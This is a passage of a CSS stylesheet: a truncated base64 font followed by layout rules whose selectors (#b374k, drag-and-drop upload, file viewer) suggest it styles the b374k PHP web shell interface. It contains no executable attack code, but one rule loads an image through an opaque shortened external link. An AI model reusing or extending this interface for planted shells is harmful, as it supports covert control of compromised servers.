dzbhZ07IEWdNSuhRmIyjn3pLJ3i0ndCGVUi3zTvXuyAdQPB5lDwSvY546CkOp6KbF8BttstxvT5KLvJHLttbwhowivCy8Nkd1AyTYTriIO1phxKpN666GT5RK07/kjOQsoyAvrr4D8LxMS0qb7/0uL0VW//Vke2RkoLmjVk9NOHcRDQqLVGofeBBl0QBqoLPnUJZML8kAhg7kfZjDghDmOCtYT1nwXA/uE/69t0XSyLsfIcmckjTBSINEB4fqQ59qDOqNwUa9VCjnhJCNkJ0NJxLhocYtg/W7yx/IDQxUCgc0OXlXlt1DW0w7qB9aKzBVUXIeKqhXLbhf7jKKgAU4No/n8LqRFCwoL1dgglQX/s6ruOYkLc1UZFdw1VFneNip1MTVl4vD1sC0nteaUHHtNquyblGRJVtSFVGsJRJt1ymnLQFfWqvSi5eY+6jsbSCE/47MZwIaRzPIw9FzqE1GSt1AO9tBFbUDsxy4p8gK7WAh2w705U14APNcI1g/1WEyIwwD8EmLhnTjcgCeJ/30lxPkK+CBtwTD8uz83PynvFndm/UIABSZZEbGi8Vx0xwXJiZwKBqdjrHz3i2zc3c3SVOtiKLS/WChkKvcEeJiRD6OTAh3Ru5Gfc2SyAhw0Q0K/2302mcwyRF5itxv+FbgxfQ32HI2EHZ9zf3VEIJJf2CshtdaNj4XNOjVP+HzejJfqQhJJ21LUklIyC1HdW1ZVuqCM5htlvE9tNH/Pby799Za+sthTlQNoc1rciwersfEqGxrcpbXG1LGlKQXSUe4nb5Cig30fvwU0Z1n0AD6mKekQAbT3Tghtdh6RL4gFIN0IbBmiYM2S7aCnWHf1uo3ksnME0iSEMo/Wa3WBzOlp7L80ypRUvWU8W1o3oReoIsL3Ks8U5dCdGzsswsOdcf7VPV4Fhu5cs4YaU5PbggS9M96ZqiSL1TMSjPrKTpFCWpWS7VG9q2eFv/SJR+3hp3TKqhEMa02oxB6FDCtGORYIXmZidkU02oj3pVLFwNebJuU11rHO9XjfRUh9FiQrxOLb5Bvusf75cu8ZT/f0jpep8d7L+Ud8gqKq1SYkQoecT132X3c/YL7Nfdt9wcu57Kx4i4mZpIssEJgrFoUe4bmw1xADsqjBnoG5Ju/8fZxMlnh1oBqny4In67VmGw6FWNTPXidXMpAKfSQY+iOkQodd55xmF3OfucR57TzivN955ITdYZDTfm3y3XMHMpls6GUEasvIGcTGwIgcPgXYO6AbETllH0PqJO/shHmDiba9gtUgArAdvqxhiPRy7g7/cjsPgaPUh/pOJI+Xi6PJyS7MzywBsXjpHQ9Bddzz80//cyJaaFsDrZag8kKP/3JZ5+eC9B5/r3pOCa5gvMPvkP9mZLoXm8iYTBslNVIfURJfUQ1Xn4QoZAoxmKKFTKlQzz52UbS4Mk/WYsTj07yu+VDaBM1YCFSiNZTuiv019PtEGo12fmVNeAhCY4u6JIfPKbB6G34F/2tOLpSvr6xd/y9I/fc82vfTneMDz733Iu49QmKisKM3fzidh/D5CaKnTOOp86hMV9FNRZoFbtrUEvDgV5kONCLDPfOLwjM9QbWOAcCq9CBwECrFCz3SsFyr7hmv1iEbXgDkCupasWuiRKhCuePFXROCAfTab+pJp0TwkH5GJIHVav0AdT/jdeWCYs6wnrsMsuy48jkdT1dKnUnh1bSE0jXJ2SPmzgyOto6bI4vlsvVw/nAMbhDCFFJOXRbtW9jDWTSv953/sdowTeUVvF4k90Y0MeMRPHseik2JERau2fyG2L8JKe2XyXc8ikxXF/+2WuvBv7Zkg9TDD4fk4OOQbVgvJLIGJQ4h/Cld72YLKL4MsYUhm9j/hXk+GMWDkkCZRaBuY93qsf7KtLQY37e/+rF1B+Rt9Pjv5fyO3/A4LPkA6Lkkg8w2NqFsUA+VB8dJZ+hWC+0PENB+cNBebAshphlHAu+YAPeFRQPeCVJoLziOt6pgLdvvMVI3ThfB3j7xtCsZyjGsrGcuj8VOp3CBozmOCbQYRNGTQZpAe6ShkrgZZABr+GMq8LSXCPEDbBVeyaeWRJJraBKMZ94kI9FyyXuUJ7nk9nD0kLycHhTAHwUQKm+Dpv9wXqxD5IJTLwDWKYs7q2XozAo4NcGtt4+OTvb7c7OTt6+dWD1dd7iBxca1p6bbe322wN4Jmx76JKP0MRgH6KJ/TOP1gPFEqHzTuvKeQcjV4sqy5jL9eqMYn3Qd9G+8r0xuJhHsWUmVPiRvCsoFvAKBZfy5tfxTgHv+nmyvHG+aeBdP082/Xwb63gd4O17x6ansAwqjBJmNjS0iwm5fsP019aL6Ab8Iv4c4lHDUzgUg21UNhbmIjyLwA3SfrVtvdEmFFt9NwT8pkpXUbATbOLDR4+21/7f8NGPtj/qxz+KWFKmvyM4HI/ByUCogYndyJA/sA7BduEQD9oWFdQ5CSAyIQrAdLg6GWJ9JEKBEI7wZWH0JFwZGBsz5HmaGmDVREJcwmS6KiGWdLk98sHwygfmCTx8MgYNVSGkFux7ViGUAsQHIcD55ukBI2e9GLR2TyWEcHkZcDZyNUIgKQ2bW2ZNDfYxo7AvIlAHx9+lhgPxTFY3Yka0VjWTBpfkHooZesyIxZwVcTiZLK2gZtLIH9YWY1zdBwD5UhuuviNtfAlB8g/9oQHVLv1k5/AAIQReztqIDq+rickmfZWlgnlZT5qJJl7DCpkYNuayuSIgwsw1zVk3m8N388IrclVfXFy9EOH/RC4Za/gwqUZuduDhGwEiJj2S21Q7dGP7fbnVFTF+9OdHdufwMSF+1B8rKV4D7RMTQf9Ba+P2RS+WSYX0ZRxJQ/PdmL/Xh7CYdihzCpj7eKeAd/3YlwsyXsfrBLx9/YLBKN0kzEyksgtHnKBf0M9QuwNalpl1ZRESakhYxiEN8u/DxQEcyCy63zPSigINE4glEwItOha4vUYCOSLSd5SJl6MQP1FXZ8QHkazIrsxyck4/JMqbEocYgMp58wL5H+jX+q3/qTnJ2kEUgJWSGMSXUVK23ZDLPni46O0ZH7/hU3ZRmiIomKZd6zD33c3uuXl6uZM8gl/B/yq63YF83QalIaZ+vW8wZ9A87p5Dc74xwRx0CQFCIvSALSJNiPkJnkRKP8kJhIAhcw9oFB6BTeOgD7dDSEnhA+M56KFUOa4ERgcKZBiHMHDeEwM5SwzU6mKADyEGfVtYA5IQAi9Bapi1QLIyzepRziOFG+bmufs5luPkxlHkcfwSQu5ReWH0EdTFXNdDjSonu41pl+MyI8emr+1uzxzTAjcLOLcHzCLhX88Cm5jdXiBr4H1Eydtv/76xHj2wew+AVVi6AKaW8eNrOgvwsAn0YvhxOZkWJDFVa9ZSN9yk5DNGWArrTlYeqKRqI7VU1jTypdpgY7c5OFtpehWVqVi1fFpUDFl3TKvYqe4kwKscu42NxSK1SqqYMjPVbGnE1GtmpbFlZjWBvz+0bTRj1kahbVP/deYMadtbEFIjtF/SWW20nU4sM3IHWvYGfCuaz5fqtChf+wq+0z2+V2M+nzS2UX5P9Pi+HHxveN7Pb+4KvuM9PuivdBYLd64hjKw8u4uRW0Fv7fGf7fF/ifDrnkj4x1rAz8iju+qjwMyiHOF9C38bjaJNaAf6nFcvWwptn6Q1lixYC7iwxegqAiEu4B5C97VB2JHoqiGw+7aBdQcrHJ0bdBYWCpuP8prGXztxtNCGvYRaIrnUbhd2dh+tCh/fUSX/0PQxJ3O9qsrHzOvZJeJx2Wo1j6Gem3gguKtkqQR+pr7DaV3pQUGBOpN6mfVvKSRN0KYYaRwtBnoDam54pbHBZcVLgq4XA3Pdyri/mW6cGJqQlUHnl/C50QG3zIcSVlrMdxKpiUy+lVfUQisvZIRSJTnIxWLdkXw+56pViRcY/S9jssaZJfztQjZb+F5YjS7tSC6GYlzY1E2djDKp3PiAGY6Ywx6FDVj9t8FSdkQR7WmXnyu3ssLUom9PeBP1rx9HnziHmoFfdi2YsWtrO8QW9Zagay6yoKLLoxGIqbA4YoLFkVMojE7WjzqXF0edzsgxc/x68GnJLf+kxdH59jdgcfTjV0K4+yM9+KO4ctVaSIzu+fCPcOovLA5evRbKSuJH7t3IzV/gMZ2XfN942ieXen2XzKjMpUterFxMMMsMooqT9bz9/dcqFShjERh7fKd7fK+KPp9c7WXYx3e8x3evGPRLuTRGGFnU3MWgQq9fBv6f8P1f9Mv6Ji0rBjHMNjG/jBmLcG/Iu/L3AS9pAFaS8ppX8p7u8b66lu+3vVhqw3yP93jvJbx0tUaYRWuQMDNMYRdmkr3Jn0HjAbZFAXXR1zylA7N4R5EI4UQyrwToAoN0M1Ze87cGA1G5Rp0Wwb9HgBbLuwohSjw4ukzxQ28OuPI4G8pmELJtx8xk9OLR0PjQUWnMxBYq5J2CbQ0cU5GqqK7KcgVLVa0Cm8le2zoW8x2DTDJQkF0nMkKcJ4MGJYE/artNDp3zFbaqdvVZBTgQCftQtZvYlw6hqZvj7GjFx9DunXT02oFMVR3aOd3Y0jAP7K5MSeG0fp+xV86ZTb3jfPhmbE+aE6OiXbYKDSfO7Mi3fu3W1p27RytzO6sHH8qIpU258oSr5tQRse5WVj+R1LhU8tatmbEBqzyzk7Zr8G8N5obrg7kheKekXRd0FCbvNN/frl+jbeUGv13FgnmkmI+hZUYqAOMGfCsBn1hwKV/+Cr7TPT6QJYPV2Ab5PUH5+ucv1PTza1zBdzzgC+avYBVGGFmJrMKk3iqMdBtUwl/G3w3Ohax4isKEkmw8nklHRdZOIJaaVRBjqcBE/s3XwRg3b+TDfWdVqX1xH6E/4jqpfD7luGshHlz8mFUqWXa5jDtWuWzZYFHBAgADfg3/ADmoRMry6XOoETirNihyJVj3W3BbhD6QDfYpdHjmAQSiQoidy0oh0cG1AT4kIEEUU0fVEQeh8tHQcK6WHQgNFY4lkePwErZDseT1Q8dioiDElunpdgpBgjQnaUQ1aTOG+FtAVfIArl4rnscwBq9f3VSqUTxKCF3aVPWkOU5bcKNhpsCb95qRweGmlQIH3/yUPYjT0dgZqWRMbXkvGntZKhuTm0Nz7u4OuPeWJkvzORIlHr8JdRJz6bb+P4X4nutyTf2HAr+HtlXq40fb1c39YzC+tArjWhQt40ApvgFv0AaxZCUpowmMPb7TwNffBjFO9TLs4zsOfP1ti8HYGiSMTIwMZrFkbwz2fZbo9+/1v1/289WLedcg+dK2Hfgxw5inozI67OWKPs6jTIhCTf/okmZtNZNYczJnAn9UJvDNhnsvCyeGHEXVrMg9guKYi1ecY8oyL1wb35EPPLT7UCbWw/mUe/7LPciJ6Jonehb749GaD/PuzJgzuNTN3qjlG44z7AQ+zv8Q+DGzO6X/JYv5+Vun6guDhqau/jN1c0aX6+V4r17ulYN6VIpdUjFMrEHqMR/U4xqWAfXrrHnJhAsHj/KhR7BhmMkoOJf+MruN6rYCGMPXyE9KXI1M8R+uQqTAj10FREHnoNSl9/B3KN55Cf3KGZ0LztWj+DeKQicc2Z9OLiPZSMHJayIN/8UbABk17T7I81o26zj5SnhFK+cOpdOWe6i4KXXIWkCHjQXusEzVcvRfgGBzoU9J37fW7IP8aeLe0c0mKOuDK/JGqp6WJyd0nRWN2C0f+tCtfFb6j6C5fz3DDBKM7amffSiC8bfDzMWv/fqzz/67EEPV+BGE+mTzKppGm9Cvn0MFfy1ZCBbLTvDjnEBVA/eex4PVYown70MhUZ4eVpeMbModbTSkmaMphFJbxo9Km3Mf37SplJw/Zi+3jyWWa2QerVYjJWq8AlOm//PbASJtHwRru38KLUt4vYTdJ4QHsmA4WH6vyYfBVg3+S72ZLM7oanMwP5yT5exIvjwmaSOZQ/gzvJFPillz9b/IuhiOSKYiJ8VIVDb/t6PbGVkSqp3m0OA1NzcbN20ZGBwZrn8vIsXS3QGbk8z08IzrzrdymeZsLj/Xzv7n6Wu2Bv6Wv8Rw+EHmNAqjPV4qzFFEWo0QSyUE2lDoQPhnwkwYViwpw1oKM/fjRzCDPRLHHmIxw7DoSDjkWwzBWtiGWH1fG641GLaECShs7x0q3HRTgTl9pHrddVXEoN9iMH4/cxZs0MF+kAf7Qdhji7pAw5Riaj8IMSREtJhssFfZD/ZNaldYj7wftrngaqxtbjH76q1WHTa2YCPLchy/Dn6GKeGPMU+gFBr/I9XilcByJQmx1DCaRwwSpVQqEbfCouh7cRH7Fd+LC5YDPScu+PI1Fy7aBfDHWDmZTYhF3lFEK1KHO82/syPMw3zaUqWw5EgmxGSIQXmuQd/Dp3Gb2l/iPvtLmM6vwfeunsBtui5ChO+HAR/LBHxE76ASPvzDVYGywbmlxENyP/MllEApTwhLiHtS4p8KowTYWhM4YbLrrE1S58eekRl1bcD7g0NLm+lyxWxuHWZ+OcTJVqL/1FKa/5P4d/FtzJ+S/G2Pp+eiokT4KZ5kf5EciuqfiJpYfyLqk/2ZE/NU/N2rj0SFvMl5Sbf9v525uv4bNjhzlUF1/Mf4K9SGtYqaXtIuPJn2a0hP87mnwjbSE1XyQ8D5pw3GUq+/BbWlXNiowqLrE/BXVDeVjGQy+XymrlYXWn+rumm4dwuZQbhnHg5FJUNjq5Y9UBtKTzQLkamrUuhYP0jK+Z+Ccg56OimnnqbVoaNqwg4/leOhlBdJKc9DKS9OvrVxtY+vTxj88UUcwe+SAiU1pmZCgTLjtIjrU5BfxkuH8VfQIaSiMhrxTNPVnCfdKis8iSIVDZXVTOwpk91L0XFoMZVvkjKCs4RGXx/+SSUtTIqXy/mtdVW5PZosslVSpOrlQhpafwptqwfR7+Oj+C9QgvQZFJfDa31rvR0aPpoodnJuu5hIFNturlNM4JnMaNU0q6OZ9GjNBDUZ5Pc4msA34j9FYTR6DrGB5QdMrDDR4HCInsMVCWPfK+D8eXCcC6yMYeDwvQAef2zqjjumVl/NvfCCizB6huT5QZpn3pMZ6lvIhEOIxSHEkFwgE7DMpDmM0x2Wv4XPPzbhvvBCDoTCALf1W9Siq+hpfYfF476T4HvonfSsd3p2O/kEg+7BNj5C7QcT6NA5pPjYawqIFtfIYJBswAl7FiEKxDgdplSTECUJMQNiJC2mSRBIshw9gUMGWBRpWkSWDkTOYtRnU4SVt9oX22qnfoWjR73PtI0dp2bHeHejMfOiUB0Zddj0lHEfc/Br3fe9byA5NTOV3J7ZWvD973+I/4pZQS10whNKMIGVKLokyAH9J3tRIIf5BOiCJSkScTsjIzVbTKxU0FDbrhwaSA4ow4eQiOSB3ACzC51GryB2AA0gNpdLHy4uRqPxw2w/yDZZau/bRw0YKMHKN9pwbiiICFRMAjyUPuykwL8n2okWI7qRxiaJ9AH+VapELiQGbDOYOKLfqz24v9axFKOT2uLFvyz8GcYvCc+K22YqY4Ym72h+6KelLbMYz+Ln7707Hlvk4jvmPd4U+WTcW54jzp+cdvBOL57kRZP39zeDtqFF0F8hhKJoCo/izwV2/HU0g65DB9BPAU7tnQu1fd5tnfHxodv2hVD87u3lG29cdvTZ7ZGwTJAfXzOp/hsPBxE4wf7qnhQOJmQw7zIlbGbx+ByGo8GJohswfsG4mS7Gxts0qEaqdCaNmmMm2ZICpSU5u8+cw8A9niRx8jgSjSTx57LdxVptcTSbHYWwm139PC/LPLl+LxYJR/R4LEzoo5qsq1ZYkviiLms7soNsmdEkWVGwoKWSmiLLipZMaQJWFFnSmDI7aMb0SDgcixMawT/s/wLyhZLMx2U5zss/FyZfEImEjVg89H49x7tCQY8lVL7quHxufy2DjbIUjsaVkJCLfjKaE0JKPBomC0mcqf1OJByPGaRwHJ9A0UtvXfohk6BnZw6gLlpAN6IPoJ9GCPfOiAzGwd65usE5Zv4Zkf1H+vcfRj2+zvWk2icnJfriTGIz8XfPCq6hWwsT+WZGcgzX/FJUcRLlXKeRMI6AZqAyqCVXE1vn57fC9ZWI4ui6o0SjfhjJGqqq66pqfHbtzHH8kcZEIlNQ7CFJHjRrU3C+pF2TlJobVcRYSrPTvJR9ks+kJS3PielNN+3de9PNe/febDfzup5v2k4DwkZaNk1ZMc3VD62dYS5dAlCt32ReBv9Y6t+RQCZKoRwqoiqqo2HUQePR016uA67YbYuQOkfIIJAqpFWAFANklwIFfSGRPKS6wJSFpHMkkoGkNMWDTFVSY6nF1F2pj6cis9EUjkWcijPmLDp3OR93SIpDUhLJRCVxVyIU0ZJaRbtLC83GwjgWwnMxbGMmhmzELEQrOFrG0QKO5nEsh2Pph2LbYuY9JhPT79GZiDQm3SWxEXFMvEtkY/wkz8S4SY6Zfap1qsXc0zrUerTFtry4tBRv4dbwkdHppeFHasdrzG21D9eYa2t4roZrZ/ER77pafemp2qkac0/tUO3RGluDz9Q+E9tWK8GHHikdLzG3lT5cYq4t4WZprsSIpUyJuVjCT5VOlZh7SodKj5bYEv2iEi4RI6kjXox8LkqcrbptuBPExJLZrrbH22y7fnYVeYlGa6lVx24d47paZ96tY1RfY1Tqbn2kztarhPElwkdC76XaEAkJwyVgqLrVkSpbTQsujrFuYdg4bjAxA08fN54xLhnsbQb+vHHBuGiwewy808ApA58yPmswhwzMGZbBxI1YAk8nZGFeuF9gZ3cJx4VXhO8LoayAf1+4IDAPC3ingHkBnxK+JTCTwj0Cw8H9MLefIzWMp7/L4ePcKxyT5fAFDj/M4Z0cPsV9i2M4boJjeA7eMhN1cMexkXnAZGaXzSPm4+YPzNA75rsm84cm3m1iYppkMmdMvGK+YDJR0zSZuInkEfmAzM4ekT8jvy2zqrwgM+/I+KD8nMyE5C0y8w1vTsbPy/guGUflcZnhZRQfiTOzj8e/EGfycfxuHB+N4/fF8X+N4zNxvBjHZhzHUWjy71nMRhQ757+ba5ZyhaHuRBdexXRreukDXex1l7tMvtvqMkoX4y5+p/tul/nD7he7X++yv9797S5ztIvv6D7YZd7XxZu7GP3/wAW5aZK21Oli8jG3y3BdzHZJJ0Fe0sosnSm8WvjrAvtCARdu7uDOm0N46Cz2PMGtLO0Y2jPEzNAE5KXN9NKpoc8OfWWIHTqiJJZuHcLbyCMvLi4N5c4y6I/bpMCtVmWUxF8amV4aPYu/8NLQMIRHvE6xvnR49BOjzH2jeO8o3jGKR2keJIQWOZoq1ovTRbb4Bd1ZKt40gAfqexpnV4+8VKoukfALL2WLJLyEXnIyEHovqTaERzxRVJaiDbNRbbDxRhZq6kVSjCxXwnKpcotre/ayfcA+Yj9rR0wbIxtPf8F+22b+wMZ+Kott1c7bC3boHRs/Z3/RZj5q44M2vsPGIbtkb7HZ5+1X7b+2/5sdusv+uM1stfGYjaM25m03gqMRPPPNCD4SwR+J4HcieHMEP09Thcg95m+aDGfijplThpV55RElxCl45rTyfYX5LQXvUo4rjKhg5Sw+4F0a3LZT2av8lPJ7yveUMK/gv1DwKeWzCmMrA8o9Cks+yCsUq3bhb1h8nH2GZS6y+J9YvJPdyzKfY/EpFsdYm2Vk1jSwYcRla9jaZe237reOW6et6PQr1let71vsixbeRdNYycpaTYv9Nev3rfPWBSu00/op67DF8lbdYr5t/aPF/Kp1yvqKxW6z7rGYCQsPWJizMG/JUTz3t1H8/0XxQ1F8IYp3RPEpQJDDQvQuEUdF3BHlPf72xQE1NHtEfVx9Vn1bDWF1QWXeUd9VmedUvFu9Q2VC6haVuVN9Xj2jvupNqqGoaqpVleVVevDWwtvMDxjmdxi8zOAFBv8hg3+bwYg+wgeYn2HI32kOc3Hi83L+YJsc3/7A/gceOEj+iP//bcTwl/xBfP48ufETes/g74E1ZjjCrQOJwQcgDjd1//G+dZ+nccoAfwEP/ZZ2nTzyNdXnyc0DbYK4BTwkAUTieqe+bx9Nqj9AnpN4ez8cO1+Hoge5wV8dK2+QhVT9LUIOvna+3e6VFgq//gY+RuJKr5T9xYS7gPXKe8K/nyS1obiE7IfPQEQ5vw8CwugXpV2HMkO07ae3RlBQf3U/xCQI/gf/rtxyIuIjSy7czRtwwb0RhOyPecYczmQyq6fx6Opr5DqdoeTpdDpN0rqrf0GuFzM+uQ8Prn5z9WWgDNFvXvxQJkjLkQz+CiJ4509kQej/APdcHJUAAHgBY2BkAIIzZ6IM+O/F89t8ZZBnfgESObW6hA9G/4/+H8Y0k9kOyOVgYAKJAgCMjQ09AAB4AWNgZGBgtvsfBiRf/I/+H800EyiCClgAj80F1wAAAHgBTc8xSwJhHMfxb7Tk4JDRIGZWXHUWPijBI9lwIerD0dDUcJxvIFqywaUM3IUacosa2tpuqJfR1NzcC2i33/Ag8uH753e3PUt/bC//gkIbPhhTwlKgwhcDOcYwZUJGV+tM3ycEtLFEHEnGiAZG9QnJYTEqFUONRPtUe4smZWLVlH3q5PWvqGt5oMeQkBXeaOFoEEqkHFbpUtUNUVzRJqLDJmuUCYg551t3F/ikQY098vrTYcAOQyKqTLRuGWG44553HBtkPGsnXFBglXX65BaUMKRe4hXQG+Z6qu7liXG0FlT8KwTrNXGEc0Z1vACnLCUqjHnhmi4w5UkOOZAbHnmlyCWBbmv2M0v/AS9ZPdoAAAAAKgAqACoAKgBmAJIBGAG+AkYDMANUA7QEAgRmBIwEvATQBO4FDgXKBgoGlAdWB7IIRAjsCRoKAgqYCq4KugsECyoLdgvwDKYNQA3ODlwOrg7eDwoPlA/ED/AQOBCQELARWhGgEh4SdBMYE4gUPBReFKwU8hYGFmQWqhbmFwQXIhdAF3QXiBeiGCQYmBjsGVIZ7hpCGuYbOhuOG9wcNhx+HNwdLB2oHhgeiB60H2IfsB/+IFohPiGeIlYiliMGIx4jjiPmI+YkICSGJO4lWCXAJeIm8icqKAwojCjEKNwo5CoAKhQqYiqWKzor9iwQLFosjiyYLOAtEi1gLZYt/i6iL4QwAjAYMC4wRDBaMH4xEjFsMloycjKIMqAyujLQMuYy/DMYM4AzljOsM8Iz2DPuNAg0ODU2NU41ZDV6NZQ1qjYQNwI3FjcqNz43UjdqN4A4SDjgOPY5CjkeOTY5TDliOXg5kjpMOmI6djqKOp46sjrKOwo7oju4O8w74Dv4PAw8hDycPNQ9Tj32PjQ+eD7APtQ+6D8YP0Y/dj/KQBxAbkCWQMBA4kEAQV5B8EH4QrhDUEeQAAAAAQAAANoAbgAOAE0ABAACABAALwBZAAAFpwevAAIAAXgBLMY/SgNRFMXh37n3JZPhDfkzyCBTBIsswQWkdQviGuwsBcEdiC7A2iXYiriKVFYWVmJh5UDOV33AVteIowsefVH59YNGvZ+c6covVD35Mzq9+nN6ffsN+7j3F6zi029Z5YlfGfPS76a/+GtqHvwNTf75PbWMJCot8AC+GDj4wVLhJ3uNfmHQrT/jVM/+nJ0+/Ia7kL9gG29+O/3Hr5znzu+m3/hrhnz3Nyzzy+8ZSvDfKhWtRg7DwPkU/UCdbJ9KX/fo0+7LQfvuxqoTmtiLo7D0729wdyEEwt1BEYiRR5qJiI7IuOALBQMiehgEj2hxYAhZj8SORLYjHiE4wRDgiIjru5KfmQMEC3EgLsSGnkjwivf6bsyCF+SKV9M1Cx0dnXHMl68yxN7ksT0c5OhTTkPnRzlZcCKnodM0a5AlBS1ivcrr+5JskZec7JvuVA6uxcb5XJ0zcOs/58TiNxSR/AiPwlLjMvqyNyubfsFb3XbGUDsELRyemNcuclOVNy3zkJO07unfPm9ffl/qLvSw3e1bmLr5YWdNTxR2fjwloJCaI99nGBGrOmFEnkgx1c5P8oKMj7+c0X1bn8LqV/uiUjQOs2nRIFZ80MmXz1nyx+YigF9V0qqB4AzPiHcL0n60nOTsfRQO/H9/D2Nc8IyGca3hEFYq003DoUNm1XDI7PLcNNfr1YUqOFHPdXlqfl7wx+98M/sH4qgLH3gBXMFDYgMBAADA2a2trW3btt3G/kw+mc8k98wIgWpZhEC9CgKhBo2aNGvRqk27Dp26dOvRq0+/AZFBQ4aNGDVm3IRJU6bNmDVn3oJFS5atWLVm3YZNW7bt2LVn34FDR46dOHXm3IVLV67duHXn3oNHT569ePXm3YdPX779+PXnX0xcQlJKWkZWTl5BUalGEFz0AgAGAAB9n/ydurubacaYjRNTFzadM3HAdE3bOOvps/fEhQgjGjRa0+tRk07t+o0ZDZHa3KnX48u3Dn1abHrwacC4Xz/+DJuwZ8ekeAm6JDqQZNe+E4eOHHuS7NypM1NSfOh25cKlVC/etEqXJkOWTNkG5ciTK1+BIoWKlXhWqlyZClUqLRtSo1qtOq/erbg2bcaNe7dmzVm0ZMu8BduarduwGqJCdIgJseF/HIyc7KV5mQYGjgZQ2oUnLb+0qLi0ILUoM7+IxbW0KB8kY2RkaAqiXQ3c3MC0m5sLiHYzMDAAAFHEcrt4ATWMz0rzQBTFZ77wFRdFRaGIEIKKm2bTR4gdDLFBaJtebRpjO2rUfYoYEKqWSv3TNooiKKLQB+gUN8GNvoGv4M7H0FtqL5d7zpzfYbTx526v+097mp3TH4OkEv18aPGH+JR+HxjKnT8MCrcY3PjTyrVvKB1stRFeIbzE9wnqRT2pnJ8ZShNZA1kdu6eY15Afoh5h3gveg89A0gJlQT/A7I1SwijR5mGf7cEu82CHcdhmFdhiZdhkLmwwB0rMBhFhLUMnPNya1/GkFKeTPMUrPOSCf/FYr0yJS1NuxQ1dqcjWYJ0BWOEq5EMTcmEGsuEK6E4alp0lKFj43WuC/qcRDc1I+s6bYizrCNoUi9bgarmSiDUFgZJT7FPathutFknLppCtoniRbVMYaLSBOUZD5H6CpG1VJerf+FUft+qro6HI/IGMSujQ4EUd8urMLzJZe0cA) format('woff');
	font-weight: normal;
	font-style: normal;
}
*{
	font-family:ubuntumono;
	margin:0;
	padding:0;
	border:0;
	-webkit-box-sizing:border-box;
	-moz-box-sizing:border-box;
	box-sizing:border-box;
	font-size:12px;
	font-weight:normal;
}
input:focus, select:focus, textarea:focus, button:focus{
	outline:none;
}
html, body{
	width:100%;
	height:100%;
	color:#222222;
}
body{
	background:#f0f0f0;
	line-height:17px;
}
a{
	text-decoration:none;
	color:#000000;
}
a:hover{
	cursor:pointer;
}
p{
	padding:8px 0;
}
img{
	vertical-align:middle;
}
table{
	width:100%;
}
table td, table th{
	vertical-align:middle;
	padding:8px;
}
textarea, input, select{
	background:#ffffff;
	padding:8px;
	border-radius:8px;
	color:#111111;
	border:1px solid #dddddd;
}
textarea{
	resize:vertical;
	width:100%;
	height:300px;
	min-height:300px;
	max-width:100%;
	min-width:100%;
}
hr{
	margin:8px 0;
	border-bottom:1px dashed #dddddd;
}
video{
	width:100%;
	background:#222222;
	border-radius:8px;
}
h1, h2{
	background:#E7E7E7;
	border-bottom: 1px solid #cccccc;
	color:#000000;
	border-radius:8px;
	text-align:center;
	cursor:pointer;
	padding:8px;
	margin-bottom:8px;
}
h1 a, h2 a{
	color:#000000;
}
pre, #viewFilecontent{
	word-break:break-all;
	word-wrap:break-word;
}
pre{
	white-space:pre-wrap;
}
#b374k{
	cursor:pointer;
}
#header{
	width:100%;
	position:fixed;
}
#headerNav{
	padding:10px 8px 6px 8px;
	background:#333333;
}
#headerNav img{
	margin:0 4px;
}
#headerNav a{
	color:#efefef;
}
#menu{
	background:#7C94A8;
	height:33px;
	border-bottom:3px solid #CCCFD1;
}
#menu .menuitem{
	padding:7px 12px 6px 12px;
	float:left;
	height:30px;
	background:#7C94A8;
	color:#ffffff;
	cursor:pointer;
}
#menu .menuitem:hover, #menu .menuitemSelected{
	background:#768999;
	color:#ffffff;
}
#menu .menuitemSelected{
	background:#768999;
}
#basicInfo{
	width:100%;
	padding:8px;
	border-bottom:1px dashed #dddddd;
}
#content{
	background:#f0f0f0;
	height:100%;
	padding:66px 8px 8px 8px;
}
#content .menucontent{
	background:#f0f0f0;
	clear:both;
	display:none;
	padding:8px;
	overflow-x:auto;
	overflow-y:hidden;
}
#overlay{
	position:fixed;
	top:0px;
	left:0px;
	width:100%;
	height:100%;
	display:none;
}
#loading{
	width:64px;
	height:64px;
	background:#7C94A8;
	border-radius:32px 0 32px 0;
	margin:auto;
	vertical-align:middle;
}
#ulDragNDrop{
	padding:32px 0;
	text-align:center;
	background:#7C94A8;
	border-radius:8px;
	color:#ebebeb;
}
#form{
	display:none;
}
#devTitle{
	background:#ebebeb;
}
.box{
	min-width:50%;
	border:1px solid #dddddd;
	padding:8px 8px 0 8px;
	border-radius:8px;
	position:fixed;
	background:#ebebeb;
	opacity:1;
	box-shadow:1px 1px 25px #150f0f;
	opacity:0.98;
}
.boxtitle{
	background:#dddddd;
	border: 1px solid #cccccc;
	color:#000000;
	border-radius:8px;
	text-align:center;
	cursor:pointer;
}
.boxtitle a, .boxtitle a:hover{
	color:#000000;
}
.boxcontent{
	padding:2px 0 2px 0;
}
.boxresult{
	padding:4px 10px 6px 10px;
	border-top:1px solid #dddddd;
	margin-top:4px;
	text-align:center;
}
.boxtbl{
	border:1px solid #dddddd;
	border-radius:8px;
	padding-bottom:8px;
	background:#ebebeb;
}
.boxtbl td{
	vertical-align:middle;
	padding:8px 15px;
	border-bottom:1px dashed #dddddd;
}
.boxtbl input, .boxtbl select, .boxtbl .button{
	width:100%;
}
.boxlabel{
	text-align: center;
	border-bottom:1px solid #dddddd;
	padding-bottom:8px;
}
.boxclose{
	background:#222222 url(http://t.cn/R2A0LH4);
	border-radius:3px;
	margin-right:8px;
	margin-top:-3px;
	padding:2px 8px;
	cursor:pointer;
	color:#ffffff;
}
.strong{
	color:#7C94A8;
	text-shadow:0px 0px 1px #C0DCF5;
}
.weak{
	color:#666666;
}
.button{
	min-width:120px;
	width:120px;
	margin:2px;
	color:#ffffff;
	background:#7C94A8;
	border:none;
	padding:8px;
	border-radius:8px;
	display:block;
	text-align:center;
	float:left;
	cursor:pointer;
}
.button:hover, #ulDragNDrop:hover{
	background:#768999;
}
.floatLeft{
	float:left;
}
.floatRight{
	float:right;
}
.colFit{
	width:1px;
    white-space:nowrap;
}
.colSpan{
	width:100%;
}
.border{
	border:1px solid #dddddd;
	background:#ebebeb;
	border-radius:8px;
	padding:8px;
}
.borderbottom{
	border-bottom:1px dashed #dddddd;
}
.borderright{
	border-right:1px dashed #dddddd;
}
.borderleft{
	border-left:1px dashed #dddddd;
}
.hr td{
	border-bottom:1px dashed #dddddd;
}
.cBox, .cBoxAll{
	width:10px;
	height:10px;
	border:1px solid #7C94A8;
	border-radius:5px;
	margin:auto;
	float:left;
	margin:3px 6px 2px 6px;
	cursor:pointer;
}
.cBoxSelected{
	background:#7C94A8;
}
.action, .actionfolder, .actiondot{
	cursor:pointer;
}
